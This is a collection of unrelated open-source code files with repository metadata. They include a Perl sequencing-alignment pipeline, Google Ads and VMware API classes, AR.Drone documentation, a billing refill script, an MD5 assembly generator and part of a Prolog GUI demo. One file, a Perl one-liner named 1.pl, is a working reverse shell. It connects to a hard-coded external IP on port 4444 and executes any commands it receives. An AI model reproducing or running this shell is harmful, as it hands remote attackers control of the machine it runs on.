MYCMD=\"qsub\" || export MYCMD=\"bash\" \n"; for my $sampleName ( sort keys %rawFiles ) { my @sampleFiles = @{ $rawFiles{$sampleName} }; my $sampleFile = $sampleFiles[0]; my $samFile = $sampleName . ".sam"; my $bamFile = $sampleName . ".bam"; my $sortedBamPrefix = $sampleName . "_sorted"; my $sortedBamFile = $sortedBamPrefix . ".bam"; my $pbsName = "${sampleName}_nalign.pbs"; my $pbsFile = "${pbsDir}/$pbsName"; print SH "\$MYCMD ./$pbsName \n"; my $log = "${logDir}/${sampleName}_nalign.log"; my $curDir = create_directory_or_die( $resultDir . "/$sampleName" ); open( OUT, ">$pbsFile" ) or die $!; print OUT "$pbsDesc #PBS -o $log #PBS -j oe $path_file echo novoalign=`date` cd $curDir novoalign -d $novoindex -f $sampleFile $option -o SAM > $samFile samtools view -b -S $samFile -o $bamFile samtools sort $bamFile $sortedBamPrefix samtools index $sortedBamFile samtools flagstat $sortedBamFile > ${sortedBamFile}.stat echo finished=`date` "; close OUT; print "$pbsFile created \n"; } close(SH); if ( is_linux() ) { chmod 0755, $shfile; } print "!!!shell file $shfile created, you can run this shell file to submit all bwa tasks.\n"; #`qsub $pbsFile`; } sub shrimp2 { my ( $config, $section ) = @_; my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option, $sh_direct ) = get_parameter( $config, $section ); my $genome_index = $config->{$section}{genome_index} or die "define ${section}::genome_index first"; die "genome index ${genome_index}.genome not exist" if ( !-e "${genome_index}.genome" ); my $is_mirna = $config->{$section}{is_mirna} or die "define ${section}::is_mirna first"; my $output_bam = $config->{$section}{output_bam} or die "define ${section}::output_bam first"; my $mirna = "-M mirna" if $is_mirna or ""; my %rawFiles = %{ get_raw_files( $config, $section ) }; my $shfile = $pbsDir . "/${task_name}.sh"; open( SH, ">$shfile" ) or die "Cannot create $shfile"; if ($sh_direct) { print SH "export MYCMD=\"bash\" \n"; } else { print SH "type -P qsub &>/dev/null && export MYCMD=\"qsub\" || export MYCMD=\"bash\" \n"; } for my $sampleName ( sort keys %rawFiles ) { my $sampleFile = $rawFiles{$sampleName}; my $shrimpFile = $sampleName . ".shrimp"; my $samFile = $sampleName . ".sam"; my $bamFile = $sampleName . ".bam"; my $sortedBamPrefix = $sampleName . "_sorted"; my $sortedBamFile = $sortedBamPrefix . ".bam"; my $pbsName = "${sampleName}_shrimp2.pbs"; my $pbsFile = "${pbsDir}/$pbsName"; print SH "\$MYCMD ./$pbsName \n"; my $log = "${logDir}/${sampleName}_shrimp2.log"; my $curDir = create_directory_or_die( $resultDir . "/$sampleName" ); open( OUT, ">$pbsFile" ) or die $!; print OUT "$pbsDesc #PBS -o $log #PBS -j oe $path_file echo shrimp2=`date` cd $curDir "; if ($output_bam) { print OUT "gmapper -L $genome_index $sampleFile $mirna $option --extra-sam-fields >$samFile if [ -s $samFile ]; then samtools view -b -S $samFile -o $bamFile samtools sort $bamFile $sortedBamPrefix samtools index $sortedBamFile samtools flagstat $sortedBamFile > ${sortedBamFile}.stat fi echo finished=`date` "; } else { print OUT "gmapper -L $genome_index $sampleFile $mirna $option --pretty >$shrimpFile echo finished=`date` "; } close OUT; print "$pbsFile created \n"; } close(SH); if ( is_linux() ) { chmod 0755, $shfile; } print "!!!shell file $shfile created, you can run this shell file to submit all shrimp2 tasks.\n"; #`qsub $pbsFile`; } 1;
realizor/ngsperl
lib/CQS/RNASeq.pm
Perl
apache-2.0
15,371
# Copyright 2020, Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. package Google::Ads::GoogleAds::V9::Resources::AdGroupAsset; use strict; use warnings; use base qw(Google::Ads::GoogleAds::BaseEntity); use Google::Ads::GoogleAds::Utils::GoogleAdsHelper; sub new { my ($class, $args) = @_; my $self = { adGroup => $args->{adGroup}, asset => $args->{asset}, fieldType => $args->{fieldType}, resourceName => $args->{resourceName}, status => $args->{status}}; # Delete the unassigned fields in this object for a more concise JSON payload remove_unassigned_fields($self, $args); bless $self, $class; return $self; } 1;
googleads/google-ads-perl
lib/Google/Ads/GoogleAds/V9/Resources/AdGroupAsset.pm
Perl
apache-2.0
1,183
package VMOMI::InvalidController; use parent 'VMOMI::InvalidDeviceSpec'; use strict; use warnings; our @class_ancestors = ( 'InvalidDeviceSpec', 'InvalidVmConfig', 'VmConfigFault', 'VimFault', 'MethodFault', ); our @class_members = ( ['controllerKey', undef, 0, ], ); sub get_class_ancestors { return @class_ancestors; } sub get_class_members { my $class = shift; my @super_members = $class->SUPER::get_class_members(); return (@super_members, @class_members); } 1;
stumpr/p5-vmomi
lib/VMOMI/InvalidController.pm
Perl
apache-2.0
514
# Copyright (c) 2015 Timm Murray # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. package UAV::Pilot::ARDrone; use v5.14; use warnings; use Moose; use namespace::autoclean; # ABSTRACT: Implements the Parrot AR.Drone under UAV::Pilot no Moose; __PACKAGE__->meta->make_immutable; 1; __END__ =head1 NAME UAV::Pilot::ARDrone =head1 SYNOPSIS use UAV::Pilot::ARDrone::Driver; use UAV::Pilot::ARDrone::Control; my $ardrone = UAV::Pilot::ARDrone::Driver->new({ host => '192.168.1.1', }); $ardrone->connect; my $dev = UAV::Pilot::ARDrone::Control->new({ sender => $ardrone, }); $dev->takeoff; $dev->pitch( 0.5 ); $dev->flip_left; $dev->land; =head1 DESCRIPTION Library for controlling Unmanned Aerial Drones. =head1 FIRST FLIGHT OF AR.DRONE =head2 Initial Setup Connect the battery and put on the indoor or outdoor hull (as needed). By default, the AR.Drone starts as its own wireless access point. Configure your wireless network to connect to it. =head2 The Shell The C<uav> program connects to the UAV and prompts for commands. Simply start it and wait for the C<<uav>>> prompt. You can exit by typing C<exit;>, C<quit;>, or C<q;>. The shell takes Perl statements ending with 'C<;>'. Only a basic shell is loaded by default. You must first load the AR.Drone libraries into the system, which you can do with: load 'ARDrone'; The ARDrone module will now be loaded. You can now tell it to takeoff, wave, flip, and land. takeoff; wave; flip_left; land; If your drone suddenly stops, has all red lights, and won't takeoff again, then it went into emergency mode. You get it out of this mode with the command: emergency; Which also works to toggle emergency mode back on if your UAV goes out of control. If needed, you can force emergency mode by grabbing the UAV in midair (one hand on top, one on the bottom) and flipping it over. For simple piloting, the commands C<roll/pitch/yaw> can be used. Each of these takes a single parameter of a floating point nubmer between -1.0 and 1.0: roll -0.5; pitch 1.0; yaw 0.25; As you can see, sending a single command only causes the manuever for a brief moment before stopping. Commands must be continuously sent in order to have smooth flight. TODO Write how to send commands continuously once we figure out how =head1 OTHER LINKS L<http://www.wumpus-cave.net> - Developer's blog L<http://projects.ardrone.org> - AR.Drone Open API L<http://ardrone2.parrot.com> - AR.Drone Homepage =head1 LICENSE Copyright (c) 2015 Timm Murray All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. =cut
frezik/UAV-Pilot-ARDrone
lib/UAV/Pilot/ARDrone.pm
Perl
bsd-2-clause
5,184
#!/usr/bin/env perl use strict; use warnings; use Dumpvalue; use Error::Pure::NoDie qw(err); use Error::Pure::Utils qw(err_get); # Error in eval. eval { err '1', '2', '3'; }; # Error structure. my @err = err_get(); # Dump. my $dump = Dumpvalue->new; $dump->dumpValues(\@err); # In \@err: # [ # { # 'msg' => [ # '1', # '2', # '3', # ], # 'stack' => [ # { # 'args' => '(1)', # 'class' => 'main', # 'line' => '9', # 'prog' => 'script.pl', # 'sub' => 'err', # }, # { # 'args' => '', # 'class' => 'main', # 'line' => '9', # 'prog' => 'script.pl', # 'sub' => 'eval {...}', # }, # ], # }, # ],
tupinek/Error-Pure-NoDie
examples/ex4.pl
Perl
bsd-2-clause
1,160
#!/usr/bin/env perl # Copyright (c) 2014-2015, Roman Khomasuridze, <khomasuridze@gmail.com> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # This script is part of FBilling, # refill.pl - Responsible for refilling account credits ### TODO ################################################################################## # - add logging capabilities ### END TODO ############################################################################## use strict; use warnings; use DBI; use Asterisk::AGI; use Config::Tiny; ## load data from configuration file my $main_conf = Config::Tiny->new; $main_conf = Config::Tiny->read('/etc/asterisk/fbilling.conf'); my $db_host = $main_conf->{database}->{host}; my $db_user = $main_conf->{database}->{username}; my $db_pass = $main_conf->{database}->{password}; my $db_name = $main_conf->{database}->{database}; my $log_level = $main_conf->{general}->{log_level}; my $logfile = $main_conf->{general}->{log_location}; $SIG{HUP} = "IGNORE"; my $agi = Asterisk::AGI->new; my $dbh = DBI->connect("dbi:mysql:$db_name:$db_host","$db_user","$db_pass"); if (!$dbh) { Util::log("ERROR","NONE","Can not connect to database. Exitting..."); $agi->hangup; exit 0; } my $query_refill_credit = "UPDATE billing_extensions SET credit = refill_value WHERE refill = 1"; my $sth_update_credit = $dbh->prepare($query_refill_credit); $sth_update_credit->execute;
alkali147/fbilling
src/fbilling-libs/utils/refill.pl
Perl
bsd-2-clause
2,658
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"167.114.98.148:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
kurtcoke/randomcrap
1.pl
Perl
bsd-3-clause
234
#!/usr/bin/perl -w # # MD5 optimized for AMD64. # # Author: Marc Bevand <bevand_m (at) epita.fr> # Licence: I hereby disclaim the copyright on this code and place it # in the public domain. # use strict; my $code; # round1_step() does: # dst = x + ((dst + F(x,y,z) + X[k] + T_i) <<< s) # %r10d = X[k_next] # %r11d = z' (copy of z for the next step) # Each round1_step() takes about 5.3 clocks (9 instructions, 1.7 IPC) sub round1_step { my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_; $code .= " mov 0*4(%rsi), %r10d /* (NEXT STEP) X[0] */\n" if ($pos == -1); $code .= " mov %edx, %r11d /* (NEXT STEP) z' = %edx */\n" if ($pos == -1); $code .= <<EOF; xor $y, %r11d /* y ^ ... */ lea $T_i($dst,%r10d),$dst /* Const + dst + ... */ and $x, %r11d /* x & ... */ xor $z, %r11d /* z ^ ... */ mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */ add %r11d, $dst /* dst += ... */ rol \$$s, $dst /* dst <<< s */ mov $y, %r11d /* (NEXT STEP) z' = $y */ add $x, $dst /* dst += x */ EOF } # round2_step() does: # dst = x + ((dst + G(x,y,z) + X[k] + T_i) <<< s) # %r10d = X[k_next] # %r11d = z' (copy of z for the next step) # %r12d = z' (copy of z for the next step) # Each round2_step() takes about 5.4 clocks (11 instructions, 2.0 IPC) sub round2_step { my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_; $code .= " mov 1*4(%rsi), %r10d /* (NEXT STEP) X[1] */\n" if ($pos == -1); $code .= " mov %edx, %r11d /* (NEXT STEP) z' = %edx */\n" if ($pos == -1); $code .= " mov %edx, %r12d /* (NEXT STEP) z' = %edx */\n" if ($pos == -1); $code .= <<EOF; not %r11d /* not z */ lea $T_i($dst,%r10d),$dst /* Const + dst + ... */ and $x, %r12d /* x & z */ and $y, %r11d /* y & (not z) */ mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */ or %r11d, %r12d /* (y & (not z)) | (x & z) */ mov $y, %r11d /* (NEXT STEP) z' = $y */ add %r12d, $dst /* dst += ... */ mov $y, %r12d /* (NEXT STEP) z' = $y */ rol \$$s, $dst /* dst <<< s */ add $x, $dst /* dst += x */ EOF } # round3_step() does: # dst = x + ((dst + H(x,y,z) + X[k] + T_i) <<< s) # %r10d = X[k_next] # %r11d = y' (copy of y for the next step) # Each round3_step() takes about 4.2 clocks (8 instructions, 1.9 IPC) sub round3_step { my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_; $code .= " mov 5*4(%rsi), %r10d /* (NEXT STEP) X[5] */\n" if ($pos == -1); $code .= " mov %ecx, %r11d /* (NEXT STEP) y' = %ecx */\n" if ($pos == -1); $code .= <<EOF; lea $T_i($dst,%r10d),$dst /* Const + dst + ... */ mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */ xor $z, %r11d /* z ^ ... */ xor $x, %r11d /* x ^ ... */ add %r11d, $dst /* dst += ... */ rol \$$s, $dst /* dst <<< s */ mov $x, %r11d /* (NEXT STEP) y' = $x */ add $x, $dst /* dst += x */ EOF } # round4_step() does: # dst = x + ((dst + I(x,y,z) + X[k] + T_i) <<< s) # %r10d = X[k_next] # %r11d = not z' (copy of not z for the next step) # Each round4_step() takes about 5.2 clocks (9 instructions, 1.7 IPC) sub round4_step { my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_; $code .= " mov 0*4(%rsi), %r10d /* (NEXT STEP) X[0] */\n" if ($pos == -1); $code .= " mov \$0xffffffff, %r11d\n" if ($pos == -1); $code .= " xor %edx, %r11d /* (NEXT STEP) not z' = not %edx*/\n" if ($pos == -1); $code .= <<EOF; lea $T_i($dst,%r10d),$dst /* Const + dst + ... */ or $x, %r11d /* x | ... */ xor $y, %r11d /* y ^ ... */ add %r11d, $dst /* dst += ... */ mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */ mov \$0xffffffff, %r11d rol \$$s, $dst /* dst <<< s */ xor $y, %r11d /* (NEXT STEP) not z' = not $y */ add $x, $dst /* dst += x */ EOF } my $flavour = shift; my $output = shift; if ($flavour =~ /\./) { $output = $flavour; undef $flavour; } my $win64=0; $win64=1 if ($flavour =~ /[nm]asm|mingw64/ || $output =~ /\.asm$/); $0 =~ m/(.*[\/\\])[^\/\\]+$/; my $dir=$1; my $xlate; ( $xlate="${dir}x86_64-xlate.pl" and -f $xlate ) or ( $xlate="${dir}../../perlasm/x86_64-xlate.pl" and -f $xlate) or die "can't locate x86_64-xlate.pl"; no warnings qw(uninitialized); open STDOUT,"| $^X $xlate $flavour $output"; $code .= <<EOF; .text .align 16 .globl md5_block_asm_data_order .type md5_block_asm_data_order,\@function,3 md5_block_asm_data_order: push %rbp push %rbx push %r12 push %r14 push %r15 .Lprologue: # rdi = arg #1 (ctx, MD5_CTX pointer) # rsi = arg #2 (ptr, data pointer) # rdx = arg #3 (nbr, number of 16-word blocks to process) mov %rdi, %rbp # rbp = ctx shl \$6, %rdx # rdx = nbr in bytes lea (%rsi,%rdx), %rdi # rdi = end mov 0*4(%rbp), %eax # eax = ctx->A mov 1*4(%rbp), %ebx # ebx = ctx->B mov 2*4(%rbp), %ecx # ecx = ctx->C mov 3*4(%rbp), %edx # edx = ctx->D # end is 'rdi' # ptr is 'rsi' # A is 'eax' # B is 'ebx' # C is 'ecx' # D is 'edx' cmp %rdi, %rsi # cmp end with ptr je .Lend # jmp if ptr == end # BEGIN of loop over 16-word blocks .Lloop: # save old values of A, B, C, D mov %eax, %r8d mov %ebx, %r9d mov %ecx, %r14d mov %edx, %r15d EOF round1_step(-1,'%eax','%ebx','%ecx','%edx', '1','0xd76aa478', '7'); round1_step( 0,'%edx','%eax','%ebx','%ecx', '2','0xe8c7b756','12'); round1_step( 0,'%ecx','%edx','%eax','%ebx', '3','0x242070db','17'); round1_step( 0,'%ebx','%ecx','%edx','%eax', '4','0xc1bdceee','22'); round1_step( 0,'%eax','%ebx','%ecx','%edx', '5','0xf57c0faf', '7'); round1_step( 0,'%edx','%eax','%ebx','%ecx', '6','0x4787c62a','12'); round1_step( 0,'%ecx','%edx','%eax','%ebx', '7','0xa8304613','17'); round1_step( 0,'%ebx','%ecx','%edx','%eax', '8','0xfd469501','22'); round1_step( 0,'%eax','%ebx','%ecx','%edx', '9','0x698098d8', '7'); round1_step( 0,'%edx','%eax','%ebx','%ecx','10','0x8b44f7af','12'); round1_step( 0,'%ecx','%edx','%eax','%ebx','11','0xffff5bb1','17'); round1_step( 0,'%ebx','%ecx','%edx','%eax','12','0x895cd7be','22'); round1_step( 0,'%eax','%ebx','%ecx','%edx','13','0x6b901122', '7'); round1_step( 0,'%edx','%eax','%ebx','%ecx','14','0xfd987193','12'); round1_step( 0,'%ecx','%edx','%eax','%ebx','15','0xa679438e','17'); round1_step( 1,'%ebx','%ecx','%edx','%eax', '0','0x49b40821','22'); round2_step(-1,'%eax','%ebx','%ecx','%edx', '6','0xf61e2562', '5'); round2_step( 0,'%edx','%eax','%ebx','%ecx','11','0xc040b340', '9'); round2_step( 0,'%ecx','%edx','%eax','%ebx', '0','0x265e5a51','14'); round2_step( 0,'%ebx','%ecx','%edx','%eax', '5','0xe9b6c7aa','20'); round2_step( 0,'%eax','%ebx','%ecx','%edx','10','0xd62f105d', '5'); round2_step( 0,'%edx','%eax','%ebx','%ecx','15', '0x2441453', '9'); round2_step( 0,'%ecx','%edx','%eax','%ebx', '4','0xd8a1e681','14'); round2_step( 0,'%ebx','%ecx','%edx','%eax', '9','0xe7d3fbc8','20'); round2_step( 0,'%eax','%ebx','%ecx','%edx','14','0x21e1cde6', '5'); round2_step( 0,'%edx','%eax','%ebx','%ecx', '3','0xc33707d6', '9'); round2_step( 0,'%ecx','%edx','%eax','%ebx', '8','0xf4d50d87','14'); round2_step( 0,'%ebx','%ecx','%edx','%eax','13','0x455a14ed','20'); round2_step( 0,'%eax','%ebx','%ecx','%edx', '2','0xa9e3e905', '5'); round2_step( 0,'%edx','%eax','%ebx','%ecx', '7','0xfcefa3f8', '9'); round2_step( 0,'%ecx','%edx','%eax','%ebx','12','0x676f02d9','14'); round2_step( 1,'%ebx','%ecx','%edx','%eax', '0','0x8d2a4c8a','20'); round3_step(-1,'%eax','%ebx','%ecx','%edx', '8','0xfffa3942', '4'); round3_step( 0,'%edx','%eax','%ebx','%ecx','11','0x8771f681','11'); round3_step( 0,'%ecx','%edx','%eax','%ebx','14','0x6d9d6122','16'); round3_step( 0,'%ebx','%ecx','%edx','%eax', '1','0xfde5380c','23'); round3_step( 0,'%eax','%ebx','%ecx','%edx', '4','0xa4beea44', '4'); round3_step( 0,'%edx','%eax','%ebx','%ecx', '7','0x4bdecfa9','11'); round3_step( 0,'%ecx','%edx','%eax','%ebx','10','0xf6bb4b60','16'); round3_step( 0,'%ebx','%ecx','%edx','%eax','13','0xbebfbc70','23'); round3_step( 0,'%eax','%ebx','%ecx','%edx', '0','0x289b7ec6', '4'); round3_step( 0,'%edx','%eax','%ebx','%ecx', '3','0xeaa127fa','11'); round3_step( 0,'%ecx','%edx','%eax','%ebx', '6','0xd4ef3085','16'); round3_step( 0,'%ebx','%ecx','%edx','%eax', '9', '0x4881d05','23'); round3_step( 0,'%eax','%ebx','%ecx','%edx','12','0xd9d4d039', '4'); round3_step( 0,'%edx','%eax','%ebx','%ecx','15','0xe6db99e5','11'); round3_step( 0,'%ecx','%edx','%eax','%ebx', '2','0x1fa27cf8','16'); round3_step( 1,'%ebx','%ecx','%edx','%eax', '0','0xc4ac5665','23'); round4_step(-1,'%eax','%ebx','%ecx','%edx', '7','0xf4292244', '6'); round4_step( 0,'%edx','%eax','%ebx','%ecx','14','0x432aff97','10'); round4_step( 0,'%ecx','%edx','%eax','%ebx', '5','0xab9423a7','15'); round4_step( 0,'%ebx','%ecx','%edx','%eax','12','0xfc93a039','21'); round4_step( 0,'%eax','%ebx','%ecx','%edx', '3','0x655b59c3', '6'); round4_step( 0,'%edx','%eax','%ebx','%ecx','10','0x8f0ccc92','10'); round4_step( 0,'%ecx','%edx','%eax','%ebx', '1','0xffeff47d','15'); round4_step( 0,'%ebx','%ecx','%edx','%eax', '8','0x85845dd1','21'); round4_step( 0,'%eax','%ebx','%ecx','%edx','15','0x6fa87e4f', '6'); round4_step( 0,'%edx','%eax','%ebx','%ecx', '6','0xfe2ce6e0','10'); round4_step( 0,'%ecx','%edx','%eax','%ebx','13','0xa3014314','15'); round4_step( 0,'%ebx','%ecx','%edx','%eax', '4','0x4e0811a1','21'); round4_step( 0,'%eax','%ebx','%ecx','%edx','11','0xf7537e82', '6'); round4_step( 0,'%edx','%eax','%ebx','%ecx', '2','0xbd3af235','10'); round4_step( 0,'%ecx','%edx','%eax','%ebx', '9','0x2ad7d2bb','15'); round4_step( 1,'%ebx','%ecx','%edx','%eax', '0','0xeb86d391','21'); $code .= <<EOF; # add old values of A, B, C, D add %r8d, %eax add %r9d, %ebx add %r14d, %ecx add %r15d, %edx # loop control add \$64, %rsi # ptr += 64 cmp %rdi, %rsi # cmp end with ptr jb .Lloop # jmp if ptr < end # END of loop over 16-word blocks .Lend: mov %eax, 0*4(%rbp) # ctx->A = A mov %ebx, 1*4(%rbp) # ctx->B = B mov %ecx, 2*4(%rbp) # ctx->C = C mov %edx, 3*4(%rbp) # ctx->D = D mov (%rsp),%r15 mov 8(%rsp),%r14 mov 16(%rsp),%r12 mov 24(%rsp),%rbx mov 32(%rsp),%rbp add \$40,%rsp .Lepilogue: ret .size md5_block_asm_data_order,.-md5_block_asm_data_order EOF # EXCEPTION_DISPOSITION handler (EXCEPTION_RECORD *rec,ULONG64 frame, # CONTEXT *context,DISPATCHER_CONTEXT *disp) if ($win64) { my $rec="%rcx"; my $frame="%rdx"; my $context="%r8"; my $disp="%r9"; $code.=<<___; .extern __imp_RtlVirtualUnwind .type se_handler,\@abi-omnipotent .align 16 se_handler: push %rsi push %rdi push %rbx push %rbp push %r12 push %r13 push %r14 push %r15 pushfq sub \$64,%rsp mov 120($context),%rax # pull context->Rax mov 248($context),%rbx # pull context->Rip lea .Lprologue(%rip),%r10 cmp %r10,%rbx # context->Rip<.Lprologue jb .Lin_prologue mov 152($context),%rax # pull context->Rsp lea .Lepilogue(%rip),%r10 cmp %r10,%rbx # context->Rip>=.Lepilogue jae .Lin_prologue lea 40(%rax),%rax mov -8(%rax),%rbp mov -16(%rax),%rbx mov -24(%rax),%r12 mov -32(%rax),%r14 mov -40(%rax),%r15 mov %rbx,144($context) # restore context->Rbx mov %rbp,160($context) # restore context->Rbp mov %r12,216($context) # restore context->R12 mov %r14,232($context) # restore context->R14 mov %r15,240($context) # restore context->R15 .Lin_prologue: mov 8(%rax),%rdi mov 16(%rax),%rsi mov %rax,152($context) # restore context->Rsp mov %rsi,168($context) # restore context->Rsi mov %rdi,176($context) # restore context->Rdi mov 40($disp),%rdi # disp->ContextRecord mov $context,%rsi # context mov \$154,%ecx # sizeof(CONTEXT) .long 0xa548f3fc # cld; rep movsq mov $disp,%rsi xor %rcx,%rcx # arg1, UNW_FLAG_NHANDLER mov 8(%rsi),%rdx # arg2, disp->ImageBase mov 0(%rsi),%r8 # arg3, disp->ControlPc mov 16(%rsi),%r9 # arg4, disp->FunctionEntry mov 40(%rsi),%r10 # disp->ContextRecord lea 56(%rsi),%r11 # &disp->HandlerData lea 24(%rsi),%r12 # &disp->EstablisherFrame mov %r10,32(%rsp) # arg5 mov %r11,40(%rsp) # arg6 mov %r12,48(%rsp) # arg7 mov %rcx,56(%rsp) # arg8, (NULL) call *__imp_RtlVirtualUnwind(%rip) mov \$1,%eax # ExceptionContinueSearch add \$64,%rsp popfq pop %r15 pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx pop %rdi pop %rsi ret .size se_handler,.-se_handler .section .pdata .align 4 .rva .LSEH_begin_md5_block_asm_data_order .rva .LSEH_end_md5_block_asm_data_order .rva .LSEH_info_md5_block_asm_data_order .section .xdata .align 8 .LSEH_info_md5_block_asm_data_order: .byte 9,0,0,0 .rva se_handler ___ } print $code; close STDOUT;
jiangzhu1212/oooii
Ouroboros/External/OpenSSL/openssl-1.0.0e/crypto/md5/asm/md5-x86_64.pl
Perl
mit
12,802
/* Part of XPCE --- The SWI-Prolog GUI toolkit Author: Jan Wielemaker and Anjo Anjewierden E-mail: jan@swi.psy.uva.nl WWW: http://www.swi.psy.uva.nl/projects/xpce/ Copyright (c) 1995-2011, University of Amsterdam All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ :- module(juggler, [ juggle_demo/0 ]). :- use_module(library(pce)). :- require([ atomic_list_concat/2 , forall/2 , member/2 , send_list/3 ]). juggle_demo :- new(_, juggler). :- pce_begin_class(juggler, frame). variable(timer, timer, get, "Timer for animation"). variable(speed, int, get, "Animations/second"). class_variable(geometry, geometry, '72x72+0+0', "Default geometry"). class_variable(speed, int, 10, "Animations/second"). :- pce_global(@juggler_popup, make_juggler_popup). make_juggler_popup(P) :- new(P, popup), new(J, @arg1?frame), send_list(P, append, [ menu_item(stop, message(J, stop)) , menu_item(start, message(J, start)) , menu_item(speed, 